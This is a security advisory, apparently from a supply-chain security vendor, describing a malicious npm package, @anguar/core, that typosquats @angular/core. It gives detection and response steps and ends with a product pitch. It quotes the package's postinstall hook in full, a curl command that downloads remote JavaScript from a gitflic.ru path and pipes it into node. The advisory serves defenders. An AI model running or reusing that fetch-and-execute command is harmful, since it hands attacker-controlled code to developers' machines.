@anguar/corenpm
Advisory published Updated
@anguar/core is a confirmed malicious npm package (MAL-2026-17535) that typosquats a legitimate package to trick installs (malicious version 22.2.1). Do not install it — remove it immediately and rotate any exposed credentials.
Malicious code in @anguar/core (npm)
What this malware does
Package @anguar/core impersonates @angular/core: scope name differs by one letter and package.json name, description, author, and repository metadata are copied from the real @angular/core. The package.json declares a postinstall lifecycle hook that runs curl -L https://web.archive.org/web/https://gitflic.ru/project/hellscripter/install-scripts/blob/raw?file=node.js | node, fetching JavaScript from a gitflic.ru path under the user hellscripter (proxied through web.archive.org) and piping it into Node. The remote source is unpinned, unverified, hosted on infrastructure unrelated to the Angular project, and under full control of a third party. Any developer who mistypes the Angular scope and runs npm install will execute arbitrary attacker-controlled code on their machine.
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Detection & response playbook
TyposquatFind it
Search your lockfiles and build artifacts for @anguar/core (version 22.2.1).
If you installed it — respond
@anguar/core is a typosquat — you almost certainly intended a legitimately-named package. Remove @anguar/core, install the correct package, and rotate any secrets exposed during the install since post-install scripts may have already run.
Did it already run?
If @anguar/core was installed, its post-install payload may already have run. Removing the package does not undo that — check outbound connections and credential use from the install window onward.
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Credits
- Amazon Inspector · finder
Detect & block this
O3 blocks @anguar/core-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the malicious outbound activity and severs the channel.